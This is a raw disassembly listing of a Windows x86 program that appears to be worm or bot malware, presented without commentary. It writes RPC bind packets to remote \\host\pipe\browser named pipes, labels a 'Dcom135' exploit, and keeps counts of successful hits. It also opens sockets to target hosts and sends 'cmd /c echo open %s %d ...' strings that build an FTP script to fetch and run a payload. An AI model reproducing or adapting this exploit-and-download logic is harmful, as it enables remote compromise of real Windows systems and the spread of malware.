		push	[ebp+arg_0]
		call	ds:dword_42407C	; WriteFile
		test	eax, eax
		jz	short loc_40493F
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40493F
		push	[ebp+arg_20]
		call	sub_417C3B
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40493B
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_404861
		add	esp, 2Ch
		jmp	short loc_40494A
; ---------------------------------------------------------------------------

loc_40493B:				; CODE XREF: sub_404861+B3j
		mov	al, 1
		jmp	short loc_40494A
; ---------------------------------------------------------------------------

loc_40493F:				; CODE XREF: sub_404861+9Cj
					; sub_404861+A4j
		push	[ebp+arg_20]
		call	sub_417C3B
		pop	ecx

loc_404948:				; CODE XREF: sub_404861+61j
		xor	al, al

loc_40494A:				; CODE XREF: sub_404861+D8j
					; sub_404861+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40494F	proc near		; CODE XREF: _0:00404F4Dp

var_60DC	= byte ptr -60DCh
var_40DC	= byte ptr -40DCh
var_20DC	= byte ptr -20DCh
var_DC		= byte ptr -0DCh
var_C8		= dword	ptr -0C8h
var_BC		= byte ptr -0BCh
var_B8		= byte ptr -0B8h
var_B7		= byte ptr -0B7h
var_B6		= byte ptr -0B6h
var_B5		= byte ptr -0B5h
var_B4		= dword	ptr -0B4h
var_B0		= word ptr -0B0h
var_AE		= word ptr -0AEh
var_AC		= dword	ptr -0ACh
var_A8		= word ptr -0A8h
var_A6		= word ptr -0A6h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= word ptr -9Ch
var_9A		= byte ptr -9Ah
var_98		= byte ptr -98h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= word ptr -60h
var_5C		= byte ptr -5Ch
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_45		= byte ptr -45h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= qword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= qword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 60DCh
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		push	offset a_	; "."
		push	[ebp+arg_0]
		call	sub_418790
		pop	ecx
		xor	ebx, ebx
		test	eax, eax
		pop	ecx
		jz	short loc_4049C2
		push	[ebp+arg_0]
		mov	esi, 2000h
		lea	eax, [ebp+var_20DC]
		push	offset loc_428628
		push	esi
		push	eax
		call	sub_41782A
		push	20h
		lea	eax, [ebp+var_DC]
		push	ebx
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_20DC]
		add	esp, 1Ch
		mov	[ebp+var_C8], eax
		mov	eax, offset byte_43C80C
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		call	sub_422A40
		jmp	short loc_4049C7
; ---------------------------------------------------------------------------

loc_4049C2:				; CODE XREF: sub_40494F+23j
		mov	esi, 2000h

loc_4049C7:				; CODE XREF: sub_40494F+71j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_40DC]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_40DC]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	ds:off_424084
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_404A0B

loc_404A04:				; CODE XREF: sub_40494F+194j
					; sub_40494F+36Aj ...
		xor	al, al
		jmp	loc_404E4F
; ---------------------------------------------------------------------------

loc_404A0B:				; CODE XREF: sub_40494F+B3j
		push	48h
		lea	eax, [ebp+var_B8]
		push	ebx
		push	eax
		call	sub_417330
		push	10h
		mov	[ebp+var_B8], 5
		pop	eax
		mov	[ebp+var_B7], bl
		push	1
		mov	[ebp+var_B4], eax
		pop	edi
		mov	[ebp+var_B6], 0Bh
		push	eax
		lea	eax, [ebp+var_98]
		push	offset dword_428C34
		push	eax
		mov	[ebp+var_B5], 3
		mov	[ebp+var_B0], 48h
		mov	[ebp+var_AE], bx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_A8], 10B8h
		mov	[ebp+var_A6], 10B8h
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_A0], edi
		mov	[ebp+var_9C], bx
		mov	[ebp+var_9A], 1
		call	sub_417390
		push	10h
		lea	eax, [ebp+var_84]
		push	offset dword_428C20
		push	eax
		mov	[ebp+var_88], 3
		call	sub_417390
		add	esp, 24h
		lea	eax, [ebp+var_BC]
		mov	[ebp+var_74], 2
		push	ebx
		push	eax
		lea	eax, [ebp+var_B8]
		push	48h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_42407C	; WriteFile
		test	eax, eax
		jnz	short loc_404AE8

loc_404ADA:				; CODE XREF: sub_40494F+265j
		push	[ebp+var_4]
		call	ds:off_424078
		jmp	loc_404A04
; ---------------------------------------------------------------------------

loc_404AE8:				; CODE XREF: sub_40494F+189j
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_60DC]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	ds:off_424074
		push	ebx
		call	sub_4186B1
		push	eax
		call	sub_417300
		push	14h
		lea	eax, [ebp+var_70]
		push	41h
		push	eax
		call	sub_417330
		push	1Ch
		lea	eax, [ebp+var_30]
		push	41h
		push	eax
		call	sub_417330
		add	esp, 20h
		call	sub_41730A
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_70], eax
		mov	[ebp+var_64], edi
		mov	[ebp+var_68], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp+var_6C], edi
		shl	esi, 2
		mov	[ebp+var_60], bx
		cmp	ds:byte_428BC8[esi], bl
		jz	short loc_404B5F
		push	4
		mov	dword ptr [ebp+var_28+4], edi
		mov	dword ptr [ebp+var_28],	ebx
		mov	[ebp+var_2C], edi
		push	offset dword_43C830
		jmp	short loc_404B72
; ---------------------------------------------------------------------------

loc_404B5F:				; CODE XREF: sub_40494F+1FCj
		push	2
		mov	dword ptr [ebp+var_28],	ebx
		pop	eax
		push	4
		mov	dword ptr [ebp+var_28+4], eax
		mov	[ebp+var_2C], eax
		push	(offset	loc_428C17+1)

loc_404B72:				; CODE XREF: sub_40494F+20Ej
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		call	sub_41730A
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp+var_30], edx
		call	sub_41730A
		cdq
		idiv	edi
		mov	eax, ds:dword_428BBC[esi]
		mov	[ebp+var_18], ebx
		push	eax
		mov	[ebp+arg_0], eax
		inc	edx
		mov	[ebp+var_1C], edx
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_404ADA
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_417330
		mov	eax, [ebp+arg_0]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_417330
		mov	eax, ds:dword_428BC4[esi]
		push	7
		add	eax, edi
		push	offset dword_428BB0
		push	eax
		mov	[ebp+arg_4], eax
		call	sub_417390
		mov	eax, [ebp+arg_4]
		push	15Ch
		add	eax, 7
		push	offset dword_428A50
		push	eax
		call	sub_417390
		mov	eax, ds:dword_428BC0[esi]
		add	esp, 30h
		cmp	ds:byte_428BC8[esi], bl
		mov	[ebp+arg_4], eax
		jz	short loc_404C6B
		push	4
		add	eax, edi
		push	offset dword_43C828
		push	eax
		call	sub_417390
		add	[ebp+arg_4], 0Ch
		mov	esi, offset dword_428BE0
		mov	eax, [ebp+arg_4]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_417390
		mov	eax, [ebp+arg_4]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+arg_4], eax
		call	sub_417390
		mov	eax, [ebp+arg_4]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_417390
		add	esp, 30h
		jmp	short loc_404C93
; ---------------------------------------------------------------------------

loc_404C6B:				; CODE XREF: sub_40494F+2CDj
		add	eax, edi
		mov	[ebp+var_8], 10h
		mov	[ebp+arg_4], eax
		mov	esi, offset dword_428BE0

loc_404C7C:				; CODE XREF: sub_40494F+342j
		push	4
		push	esi
		push	[ebp+arg_4]
		call	sub_417390
		add	[ebp+arg_4], 4
		add	esp, 0Ch
		dec	[ebp+var_8]
		jnz	short loc_404C7C

loc_404C93:				; CODE XREF: sub_40494F+31Aj
		mov	eax, [ebp+arg_0]
		add	eax, 42h
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_404CBE
		push	[ebp+var_4]
		call	ds:off_424078
		push	edi
		call	sub_417C3B
		pop	ecx
		jmp	loc_404A04
; ---------------------------------------------------------------------------

loc_404CBE:				; CODE XREF: sub_40494F+358j
		mov	eax, [ebp+arg_0]
		add	eax, 42h
		push	eax
		push	ebx		; double
		push	esi
		call	sub_417330
		lea	eax, [ebp+var_70]
		push	14h
		push	eax
		push	esi
		call	sub_417390
		mov	eax, [ebp+arg_0]
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp+var_14+4], eax
		add	esp, 10h
		fild	[ebp+var_14+4]
		fmul	ds:flt_424294
		fstp	[esp+14h+var_14]
		call	sub_417DEB
		call	sub_417DC4
		push	[ebp+arg_0]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_417390
		mov	eax, [ebp+arg_0]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+arg_4], eax
		jz	short loc_404D2B

loc_404D23:				; CODE XREF: sub_40494F+3D7j
		inc	eax
		test	al, 3
		jnz	short loc_404D23
		mov	[ebp+arg_4], eax

loc_404D2B:				; CODE XREF: sub_40494F+3D2j
		lea	ecx, [ebp+var_30]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_417390
		add	[ebp+arg_4], 1Ch
		push	edi
		call	sub_417C3B
		push	18h
		lea	eax, [ebp+var_48]
		push	ebx
		push	eax
		call	sub_417330
		push	14h
		lea	eax, [ebp+var_5C]
		push	ebx
		push	eax
		mov	[ebp+var_48], 5
		mov	[ebp+var_47], bl
		mov	[ebp+var_46], bl
		mov	[ebp+var_45], 3
		mov	[ebp+var_44], 10h
		mov	[ebp+var_3E], bx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_34], bx
		mov	[ebp+var_32], 1Fh
		call	sub_417330
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	ds:dword_424090	; CreateEventA
		mov	[ebp+var_4C], eax
		mov	byte ptr [ebp+arg_0+3],	bl
		mov	[ebp-0Ch], ebx

loc_404D98:				; CODE XREF: sub_40494F+4D3j
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_404E2D
		push	1
		push	10B8h
		push	[ebp+arg_4]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp+var_48]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+var_4]
		rep movsd
		call	sub_404861
		add	esp, 2Ch
		test	al, al
		jz	short loc_404E2A
		cmp	[ebp+var_4C], ebx
		jz	short loc_404E1C
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_60DC]
		push	2000h
		push	eax
		push	[ebp+var_4]
		call	ds:off_424074
		test	eax, eax
		jnz	short loc_404E03
		call	ds:dword_42408C	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	loc_404A04

loc_404E03:				; CODE XREF: sub_40494F+4A1j
		push	3E8h
		push	[ebp+var_4C]
		call	ds:dword_424088	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_404E1C
		mov	byte ptr [ebp+arg_0+3],	1

loc_404E1C:				; CODE XREF: sub_40494F+480j
					; sub_40494F+4C7j
		cmp	byte ptr [ebp+arg_0+3],	bl
		mov	esi, [ebp+var_8]
		jz	loc_404D98
		jmp	short loc_404E2D
; ---------------------------------------------------------------------------

loc_404E2A:				; CODE XREF: sub_40494F+47Bj
		mov	esi, [ebp+var_8]

loc_404E2D:				; CODE XREF: sub_40494F+44Dj
					; sub_40494F+4D9j
		push	[ebp+var_4]
		mov	edi, ds:off_424078
		call	edi ; sub_49C3D5
		push	esi
		call	sub_417C3B
		cmp	[ebp+var_4C], ebx
		pop	ecx
		jz	short loc_404E49
		push	[ebp+var_4C]
		call	edi ; sub_49C3D5

loc_404E49:				; CODE XREF: sub_40494F+4F3j
		cmp	byte ptr [ebp+arg_0+3],	bl
		setnz	al

loc_404E4F:				; CODE XREF: sub_40494F+B7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40494F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E54	proc near		; CODE XREF: _0:00404F6Bp

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_4241FC	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	ds:dword_424224	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_424214	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_404F22
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_42421C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404F22
		mov	edi, 400h
		push	esi
		mov	esi, ds:dword_424204
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42F678
		push	eax
		push	eax
		push	ds:dword_43C83C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_424208	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404F26

loc_404F22:				; CODE XREF: sub_404E54+50j
					; sub_404E54+62j
		xor	eax, eax
		jmp	short loc_404F3D
; ---------------------------------------------------------------------------

loc_404F26:				; CODE XREF: sub_404E54+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	ds:dword_424220	; closesocket
		push	1
		pop	eax

loc_404F3D:				; CODE XREF: sub_404E54+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404E54	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx

loc_404F47:				; CODE XREF: _0:00404F8Dj
		lea	eax, [esp+14h]
		push	ebx
		push	eax
		call	sub_40494F
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_404F7A
		push	65h
		lea	esi, [esp+14h]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404E54
		add	esp, 0C0h
		test	eax, eax
		jnz	short loc_404F95

loc_404F7A:				; CODE XREF: _0:00404F56j
		test	ebx, ebx
		jnz	short loc_404F89
		push	7D0h
		call	ds:dword_424064	; Sleep

loc_404F89:				; CODE XREF: _0:00404F7Cj
		inc	ebx
		cmp	ebx, 2
		jb	short loc_404F47
		xor	eax, eax

loc_404F91:				; CODE XREF: _0:00404F98j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_404F95:				; CODE XREF: _0:00404F78j
		push	1
		pop	eax
		jmp	short loc_404F91

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F9A	proc near		; CODE XREF: _0:00405119p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_4241FC	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	ds:dword_424224	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_424214	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_405068
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_42421C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405068
		mov	edi, 400h
		push	esi
		mov	esi, ds:dword_424204
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42F678
		push	eax
		push	eax
		push	ds:dword_43C83C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_424208	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40506C

loc_405068:				; CODE XREF: sub_404F9A+50j
					; sub_404F9A+62j
		xor	eax, eax
		jmp	short loc_405083
; ---------------------------------------------------------------------------

loc_40506C:				; CODE XREF: sub_404F9A+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	ds:dword_424220	; closesocket
		push	1
		pop	eax

loc_405083:				; CODE XREF: sub_404F9A+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404F9A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		mov	word ptr [ebp-10h], 2
		call	ds:dword_43F6A8	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	ds:dword_43F668	; htons
		push	6
		push	1
		push	2
		mov	[ebp-0Eh], ax
		call	ds:dword_424214	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4050FA
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		call	ds:dword_42421C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050DB
		push	esi
		jmp	short loc_4050F4
; ---------------------------------------------------------------------------

loc_4050DB:				; CODE XREF: _0:004050D6j
		push	0
		push	1213h
		push	offset dword_428C60
		push	esi
		call	ds:dword_424208	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_4050FE

loc_4050F4:				; CODE XREF: _0:004050D9j
		call	ds:dword_424220	; closesocket

loc_4050FA:				; CODE XREF: _0:004050C4j
		xor	eax, eax
		jmp	short loc_405140
; ---------------------------------------------------------------------------

loc_4050FE:				; CODE XREF: _0:004050F2j
		call	ds:dword_424220	; closesocket
		push	216Bh
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404F9A
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40513D
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	ds:dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]

loc_40513D:				; CODE XREF: _0:00405126j
		push	1
		pop	eax

loc_405140:				; CODE XREF: _0:004050FCj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405144	proc near		; CODE XREF: _0:00405340p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_43F6A8	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, ds:word_42A040
		push	eax
		call	ds:dword_43F668	; htons
		push	edi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_43F6E8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_40525B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43F610	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40525B
		mov	ebx, 400h
		push	edi
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	ds:dword_43F680	; recv
		push	ds:dword_43C83C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	ds:dword_43F6B8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40525B
		push	1F4h
		call	ds:dword_424064	; Sleep
		push	offset byte_42F678
		push	offset dword_428598
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	ds:dword_43F6B8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40525F

loc_40525B:				; CODE XREF: sub_405144+51j
					; sub_405144+67j ...
		xor	al, al
		jmp	short loc_405279
; ---------------------------------------------------------------------------

loc_40525F:				; CODE XREF: sub_405144+115j
		push	0
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	ds:dword_43F680	; recv
		push	esi
		call	ds:dword_43F700	; closesocket
		mov	al, 1

loc_405279:				; CODE XREF: sub_405144+119j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405144	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		call	ds:dword_4241F8	; gethostbyname
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4052A8
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_4241FC	; inet_addr
		mov	ebx, eax
		jmp	short loc_4052AE
; ---------------------------------------------------------------------------

loc_4052A8:				; CODE XREF: _0:00405298j
		mov	ebx, [ebp+0C0h]

loc_4052AE:				; CODE XREF: _0:004052A6j
		push	11h
		push	2
		push	2
		call	ds:dword_424214	; socket
		test	esi, esi
		mov	edi, eax
		jz	short loc_4052D8
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		jmp	short loc_4052DB
; ---------------------------------------------------------------------------

loc_4052D8:				; CODE XREF: _0:004052BEj
		mov	[ebp-0Ch], ebx

loc_4052DB:				; CODE XREF: _0:004052D6j
		test	esi, esi
		jz	short loc_4052E9
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_4052EF
; ---------------------------------------------------------------------------

loc_4052E9:				; CODE XREF: _0:004052DDj
		mov	word ptr [ebp-10h], 2

loc_4052EF:				; CODE XREF: _0:004052E7j
		push	599h
		call	ds:dword_424224	; htons
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	ds:dword_42421C	; connect
		test	eax, eax
		jnz	loc_4053BE
		push	eax
		push	1C9h
		push	offset loc_429E74
		push	edi
		call	ds:dword_424208	; send
		push	3E8h
		call	ds:dword_424064	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_405144
		add	esp, 0BCh
		test	al, al
		jz	short loc_405354
		push	1
		pop	eax
		jmp	short loc_4053D0
; ---------------------------------------------------------------------------

loc_405354:				; CODE XREF: _0:0040534Dj
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset unk_42A0B0
		lea	eax, [ebp-210h]
		push	200h
		push	eax
		call	sub_41782A
		push	0
		lea	eax, [ebp-210h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40D679
		lea	eax, [ebp-210h]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		imul	eax, 3Ch
		inc	ds:dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]
		jmp	short loc_4053CE
; ---------------------------------------------------------------------------

loc_4053BE:				; CODE XREF: _0:0040530Dj
		push	1
		push	edi
		call	ds:dword_4241F4	; shutdown
		push	edi
		call	ds:dword_424220	; closesocket

loc_4053CE:				; CODE XREF: _0:004053BCj
		xor	eax, eax

loc_4053D0:				; CODE XREF: _0:00405352j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053D5	proc near		; DATA XREF: sub_407252+226o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= byte ptr -238h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		call	ds:dword_4241E0	; WSAStartup
		push	edi
		call	sub_4186B1
		push	eax
		call	sub_417300
		push	0FEB0h
		push	406h
		call	sub_41544E
		add	esp, 10h
		mov	ds:dword_43C83C, eax
		push	edi
		push	ebx
		push	2
		call	ds:dword_424214	; socket
